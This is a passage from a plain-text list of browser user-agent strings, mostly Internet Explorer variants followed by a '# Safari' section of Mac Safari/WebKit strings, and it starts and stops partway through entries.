(compatible; MSIE 5.01; Windows NT; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.05; Windows 98; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.05; Windows NT 3.51) Mozilla/4.0 (compatible; MSIE 5.05; Windows NT 4.0) Mozilla/4.0 (compatible; MSIE 5.0b1; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;) Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.6; yplus 1.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT;) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.9; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.04506.648; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.12; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.13; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.14; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC Mac OS; en) Mozilla/4.0 (compatible; MSIE 5.21; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.22; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.2; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.5;) Mozilla/4.0 (compatible; MSIE 5.50; Windows 95; SiteKiosk 4.8) Mozilla/4.0 (compatible; MSIE 5.50; Windows 98; SiteKiosk 4.8) Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8) Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8; SiteCoach 1.0) Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.9; SiteCoach 1.0) Mozilla/4.0 (compatible; MSIE 5.5b1; Mac_PowerPC) Mozilla/4.0 (compatible;MSIE 5.5; Windows 98) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT5) Mozilla/4.0 (Compatible; MSIE 5.5; Windows NT5.0; Q312461; SV1; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.5) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.1; chromeframe/12.0.742.100; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98) Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x 4.90) Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0; .NET CLR 1.0.2914) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1; DigExt) Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Mozilla/4.0 (compatible;MSIE 6.0;Windows 98;Q312461) Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Mozilla/4.0 (compatible; MSIE 6.1; Windows XP; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 3.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 6.0) Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/6.0; .NET4.0E; .NET4.0C) Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; msn OptimizedIE8;ZHCN) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C; .NET4.0E) chromeframe/8.0.552.224 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; U; MSIE 6.0; Windows NT 5.1) Mozilla/4.0 (Compatible; Windows NT 5.1; MSIE 6.0) (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1) Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30) Mozilla/4.0 (MSIE 6.0; Windows NT 5.0) Mozilla/4.0 (MSIE 6.0; Windows NT 5.1) Mozilla/4.0 PPC (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320) Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0) Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.0) Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2) Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0) Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/4.0 (X11; MSIE 6.0; i686; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM) Mozilla/45.0 (compatible; MSIE 6.0; Windows NT 5.1) Mozilla/4.79 [en] (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN) Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1) Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325) Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/5.0 (compatible; MSIE 7.0; Windows 98; SpamBlockerUtility 6.3.91; SpamBlockerUtility 6.2.91; .NET CLR 4.1.89;GB) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.8.36217; WOW64; en-US) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; .NET CLR 2.7.58687; SLCC2; Media Center PC 5.0; Zune 3.4; Tablet PC 3.6; InfoPath.3) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.1.76908; WOW64; en-US) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.1; SV1; .NET CLR 2.8.52393; WOW64; en-US) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/11.0.696.57) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/13.0.782.215) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; .NET4.0C; Tablet PC 2.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie8) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0) Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR) Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US) Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) # Safari Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6) AppleWebKit/531.4 (KHTML, like Gecko) Version/4.0.3 Safari/531.4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-au) AppleWebKit/525.8+ (KHTML, like Gecko) Version/3.1 Safari/525.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-gb) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.7 (KHTML, like Gecko) Version/3.1 Safari/525.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.9 (KHTML, like Gecko) Version/3.1 Safari/525.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/526.1+ (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; es-es) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; fr-fr) AppleWebKit/525.9 (KHTML, like Gecko) Version/3.1 Safari/525.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; it-it) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; ja-jp) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; pt-br) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; es-es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; hu-hu) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nb-no) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nl-nl) AppleWebKit/527+ (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.25 (KHTML, like Gecko) Version/3.2 Safari/525.25 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; it-it) AppleWebKit/525.18 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; ja-jp) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; sv-se) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/528.10+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.7+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.6+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; hr-hr) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; it-it) AppleWebKit/528.8+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ko-kr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; nb-no) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ru-ru) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; zh-tw) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.1 Safari/530.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/4.0.1 Safari/530.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.3 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fi-fi) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; nl-nl) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-tw) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/532.3+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; de-at) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like 